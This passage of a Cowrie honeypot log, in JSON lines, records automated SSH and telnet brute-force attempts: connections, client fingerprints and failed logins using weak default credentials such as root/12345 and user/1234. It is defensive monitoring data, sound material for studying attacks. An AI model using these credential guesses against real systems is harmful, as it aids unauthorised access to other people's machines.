{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:55.058837Z","src_ip":"176.65.132.254","session":"bd6b8645bc7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:55.305041Z","src_ip":"176.65.132.254","session":"bd6b8645bc7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:56.389873Z","src_ip":"176.65.132.254","session":"bd6b8645bc7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":37570,"dst_ip":"10.17.0.5","dst_port":22,"session":"1865f237dbd5","protocol":"ssh","message":"New connection: 176.65.132.254:37570 (10.17.0.5:22) [session: 1865f237dbd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:58.846268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:58.851242Z","src_ip":"176.65.132.254","session":"1865f237dbd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:58.941407Z","src_ip":"176.65.132.254","session":"1865f237dbd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"soporte","message":"login attempt [soporte/soporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:47:59.453519Z","src_ip":"176.65.132.254","session":"1865f237dbd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:00.544089Z","src_ip":"176.65.132.254","session":"1865f237dbd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":47606,"dst_ip":"10.17.0.5","dst_port":22,"session":"70fa97ab9e84","protocol":"ssh","message":"New connection: 176.65.132.254:47606 (10.17.0.5:22) [session: 70fa97ab9e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:03.272910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:03.283492Z","src_ip":"176.65.132.254","session":"70fa97ab9e84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:03.368205Z","src_ip":"176.65.132.254","session":"70fa97ab9e84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:03.920199Z","src_ip":"176.65.132.254","session":"70fa97ab9e84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:05.093318Z","src_ip":"176.65.132.254","session":"70fa97ab9e84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":13663,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8a547c8aab9","protocol":"ssh","message":"New connection: 205.254.166.101:13663 (159.203.135.109:22) [session: e8a547c8aab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:05.469769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:05.475369Z","src_ip":"205.254.166.101","session":"e8a547c8aab9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:05.683997Z","src_ip":"205.254.166.101","session":"e8a547c8aab9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp_test","password":"password","message":"login attempt [ftp_test/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:06.561784Z","src_ip":"205.254.166.101","session":"e8a547c8aab9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":47610,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb3b041bbeca","protocol":"ssh","message":"New connection: 176.65.132.254:47610 (10.17.0.5:22) [session: bb3b041bbeca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:07.740220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:07.748183Z","src_ip":"176.65.132.254","session":"bb3b041bbeca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:07.846689Z","src_ip":"176.65.132.254","session":"bb3b041bbeca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:07.856599Z","src_ip":"205.254.166.101","session":"e8a547c8aab9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:08.242249Z","src_ip":"176.65.132.254","session":"bb3b041bbeca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:09.338885Z","src_ip":"176.65.132.254","session":"bb3b041bbeca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":47618,"dst_ip":"10.17.0.5","dst_port":22,"session":"a78d2059804e","protocol":"ssh","message":"New connection: 176.65.132.254:47618 (10.17.0.5:22) [session: a78d2059804e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:11.739244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:11.744448Z","src_ip":"176.65.132.254","session":"a78d2059804e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:11.826450Z","src_ip":"176.65.132.254","session":"a78d2059804e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:12.171777Z","src_ip":"176.65.132.254","session":"a78d2059804e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:13.257394Z","src_ip":"176.65.132.254","session":"a78d2059804e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":45112,"dst_ip":"10.17.0.5","dst_port":23,"session":"c83292e92b20","protocol":"telnet","message":"New connection: 38.54.119.93:45112 (10.17.0.5:23) [session: c83292e92b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:14.273996Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41592,"dst_ip":"10.17.0.5","dst_port":22,"session":"f50f49778438","protocol":"ssh","message":"New connection: 176.65.132.254:41592 (10.17.0.5:22) [session: f50f49778438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:15.982103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:15.987353Z","src_ip":"176.65.132.254","session":"f50f49778438","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:16.070004Z","src_ip":"176.65.132.254","session":"f50f49778438","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:16.338864Z","src_ip":"176.65.132.254","session":"f50f49778438","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":35284,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d35a27e9a9e","protocol":"telnet","message":"New connection: 134.209.8.29:35284 (159.203.135.109:23) [session: 0d35a27e9a9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:16.387150Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:17.547363Z","src_ip":"176.65.132.254","session":"f50f49778438","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41598,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3cb6a6e5529","protocol":"ssh","message":"New connection: 176.65.132.254:41598 (10.17.0.5:22) [session: b3cb6a6e5529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:19.881502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:19.886588Z","src_ip":"176.65.132.254","session":"b3cb6a6e5529","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:19.969869Z","src_ip":"176.65.132.254","session":"b3cb6a6e5529","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:20.848548Z","src_ip":"176.65.132.254","session":"b3cb6a6e5529","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:21.952450Z","src_ip":"176.65.132.254","session":"b3cb6a6e5529","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":45808,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c7abb886827","protocol":"ssh","message":"New connection: 176.65.132.254:45808 (10.17.0.5:22) [session: 5c7abb886827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:24.151145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:24.156363Z","src_ip":"176.65.132.254","session":"5c7abb886827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-c